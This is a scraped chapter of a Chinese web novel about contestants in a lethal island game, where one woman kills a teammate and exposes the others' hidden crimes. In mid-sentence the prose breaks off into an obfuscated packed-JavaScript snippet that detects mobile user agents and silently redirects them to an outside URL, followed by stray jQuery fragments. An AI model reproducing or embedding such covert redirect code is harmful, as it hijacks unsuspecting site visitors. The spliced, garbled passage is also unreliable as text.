20. 怜悯

作品:《赛博白莲机械飞升

    “别那么大惊小怪。”


    华嘉言从程曦身后走出来,染血的面容上是讥诮的冷笑,她抬起下巴,朝着季文杉的方向扬了扬。


    “季文杉不想活了,她求我杀了她,是我成全她。”


    她又指着屋外亮起的天光:“第二晚开始,投放的变异生物就不是你们能对付得了的,它们会把你们撕成一块一块的碎片!”


    华嘉言没有握刀的那只沾血的手指猛地戳向自己的胸口。


    “动动脑子想想清楚!这就是游戏规则,没有人能在晚上活下去!是我,我救了你们,如果我没有动手,现在躺在这的不止这一个!”


    何塞用行动打断她的话,他伸手去揪华嘉言,却被程曦抓住了手腕。


    程曦的力气极大,他根本挣脱不开。


    “装什么正义使者啊。”华嘉言嘲讽地开口,语气尖锐:“我不过说了实话,她就受不了了,是她亲手解开了我的绳子,亲手把匕首塞给我,她求我杀了她!”


    “何塞,你忘了你是怎么进监狱的?你杀过几次队友了?上一任的队长,不就是你打死的吗?明明自己也是个刽子手,怎么还批判起我来了?”


    何塞下意识地反驳:“那是因为......”


    “是因为你自己违背命令在先。”华嘉言扬起语调接上他的话:“拿着仇恨当借口滥杀无辜,装什么无辜的战争孤儿?你现在不也成了铁皮的改造人吗?你和那些你憎恨的异常仿生人有什么区别?”


    何塞不再说话了,所有的反驳都被扼死在喉咙里。


    “还有你,温蒂·卡洛斯。”华嘉言把玩着匕首,对准温蒂。


    “教授?博士学位都因为反人类罪被撤销十年了,你算什么教授?”


    “你说过的谎也真是不少,环境地质?你的研究方向是环境地质?真是让人笑掉大牙。”


    “你们还不知道吧,远洋战争可有她的手笔在。”


    何塞瞬间扭过头盯着温蒂,目光里满是不可置信。


    温蒂的嘴唇抿成一条线,她没有反驳。


    不回答本身也是一种回答。


    温蒂的沉默落在华嘉言的眼里就像是心虚,华嘉言见她无话可说,神情带上几分得意,她往后退了一步,绕着身边的程曦走了一圈。


    程曦没有任何表情。


    “她这几天犯了不少蠢,你们就真当她是个天真无邪的小女孩了?她是个战斗型的异常仿生人,等她的刀对准你们,谁有本事逃得掉?”


    华嘉言用匕首拍打着程曦的脸。


    战斗型仿生人的皮肤并不柔软,匕首的刀刃一下下敲在程曦的脸颊上,声音清脆。


    “差点忘了,还有那个医生,居然还是个异常仿生人,七个人里居然就有两个异常仿生人。”


    “白黎,这几个人里,你最有意思。”华嘉言将匕首又转了个方向,刀尖指向白黎。


    “普通研究员?到现在谁会相信你是个普通研究员?你到底干了多罪大恶极的事,杜家还要专门改掉你的档案?我来猜一猜——”


    “你是个犯了事的黑客,自己黑进系统改了档案?又或者你做过的事情太罪大恶极了,杜家不得不改掉你的档案,以免你被直接处死?”


    华嘉言脸上露出恍然大悟的表情。


    “你不会刚好也是个异常仿生人吧?”


    白黎没有回答,她维持着震惊的表情,似乎还没从季文杉的死亡里缓过神来。


    华嘉言是在随口乱说的。


    华嘉言能找出些其他人的罪名,但凡她有确凿的证据,一定会像揭露其他人那样,把她的底细抖得干干净净,堂而皇之讲给所有人听。


    这只是无厘头的指控,不过是虚张声势。


    可即便如此,白黎仍感到一丝寒意爬上脊背。


    怀疑本身就是锋利的刀刃,悬而未决、模糊不清的指控比板上钉钉的罪名更可怕。


    风顺着敞开的门框卷进木屋内,将浓郁的血腥气吹散了些许。


    “够了。”


    白黎侧过头看着刚刚说话的温蒂,这位年逾六十的研究员仿佛在一瞬间苍老了十岁,


    染成玫粉色的短发都遮掩不住脸上浓郁的疲态。


    她不再看向华嘉言,又看向窗外虚假的天光。


    白黎开始疑惑。


    在第一夜,在所有人都想要放弃季文杉的时候,她将她背在身后,奔跑到几乎力竭。而现在华嘉言杀了季文杉,就连何塞都出言质问,温蒂却毫无反应?


    白黎看着她的眼睛,从中只看到了眼眸深处的浓郁的复杂的情绪。


    疲惫,悲伤,愧疚,还有些白黎理解不了的东西,唯独没有愤怒。


    奇怪的人,不按常理出牌的人,理解不了的人。


    “你是对的。”


    温蒂开口,下了结论:“第二夜的变异生物,我们确实对付不了。”


    她说出这句话的时候,微微挺直了脊背,于是整个人的气场又在一瞬间发生变化,温蒂还是那个冷静睿智的老人。


    “你的目的达到了。”白黎的声音因为情绪激动而嘶哑。


    “我和教授推测出了真相,你现在藏不住了,捏造大家的罪名,想把水搅浑,华嘉言,你以为这样你就能赢——”


    白黎激动的声音被何塞打断了。


    “——是真的吗,教授?”何塞开口问道,他的手垂在身侧撰成拳,眉毛紧紧拧在一起。


    “你说话啊,你倒是说———”


    “是真的,我有罪。”


    白黎猛地转头看向温蒂的方向,声音颤抖着:“你说什么?”


    “我有罪,神会审判我,并让我付出代价。”


    温蒂一面说着,一面从华嘉言身边迈过去,拆开一袋饮用水的包装,将布料打湿,洗去季文杉脸上的血。


    在这样的时候,她竟然还能舍得将饮用水用在清理尸体上。


    “纠结于彼此过去的罪名没有意义。”温蒂终于擦干净了季文杉脸上的血,她翻出季文杉背包里的这些保温毯,盖在她的尸体上,给她留下最后的尊严。


    温蒂将背包递给白黎,里面还放着些食物弹药一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197677|181186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    类的东西,沉甸甸的。


    “那我还能做什么,纠结今晚该杀谁吗?!”


    何塞抓着自己的头发,声音暴躁而崩溃。


    “全他爹的没有一句真话,说好的参加任务就能活呢?结果现在告诉我,这他爹的就是换个刑场?!七个人上岛,只能活一个?!就因为有钱人想玩游戏?”


    白黎开始哗啦啦淌眼泪。


    “为什么偏偏是我,我女儿还在等我回家……我真的不想死……”


    “瞧瞧你们俩个这副模样,胆怯,懦弱,他们怎么会选你们这样的选手来参加比赛?”华嘉言嘲讽道。


    “也不是完全没有办法。”温蒂开口。


    “什么办法?”何塞抬起头问,他的眼眶发红。


    “嘉言,我们来聊聊吧。”温蒂的声音一如既往的平静。


    “好啊,教授。”华嘉言抹了一把脸上,在教授两字上加了重音。


    “游戏规则还有什么?你愿意告诉我们吗?”


    “我不愿意呢?你们要怎么做?杀了我?”


    “你会为自己错误的判断付出代价。”


    “教授,您实在是个很不会说话的人,我都要以为您是在恐吓我了,请容我拒绝。”


    华嘉言嘴上拒绝的干脆,但白黎透过泪眼模糊的眼睛,还是能看到她的眼神一直在往屋外瞟。


    温蒂意会到了她的暗示,迈开步子就往屋外走,白黎抹着眼泪跟上。


    华嘉言快步走到溪边,捧起溪水清理自己身上的血迹。


    冰凉的溪水拍在脸上,让她剧烈的心跳略微平静。


    她用力搓着自己的手臂和脸颊,季文杉的血从刀口涌出来,温热,粘稠,她倒在自己的脚边,眼神中带着释然和怜悯。


    怜悯我?华嘉言嘲讽地想,当了一辈子棋子的人,有什么资格怜悯我?


    可那那双眼睛一直在她脑海里,挥之不去。


    水珠沿着她脸颊滚落,华嘉言呼出一口气来,对着跟上来的几个人迅速开口:“屋子里大概率是有摄像头的,要商量什么,我们得避开室内。”


    “游戏的形式是直播,岛上部分地区配备了非常隐蔽的摄像头,有专用线路能够绕开信号屏蔽器,场外只能通过摄像头一种方式查看我们状态。”


    “夜晚出现的变异生物我了解不多,投放这东西的目的是督促选手积极参加游戏。主办方计算过,选手的战斗力和装备是绝对撑不过第二晚。”


    “除此之外,我还知道一条或许有帮助的游戏规则,场外可以出大价钱给选手赞助,食物,武器,药品,都可以,你们可以试试在摄像头前表现出自己急需某种物资,或许会有人能提供赞助。”


    华嘉言似乎有意避开了有关“自相残杀”的话题。


    “我还可以提供岛上的地图,不是那片残缺的,是完整的。”


    “你想要什么?”温蒂问。


    “我不想要什么啊,我们不是个一个团队吗?把知道的信息共享给大家,是我应做的。”


    华嘉言的笑容看上去无比真诚。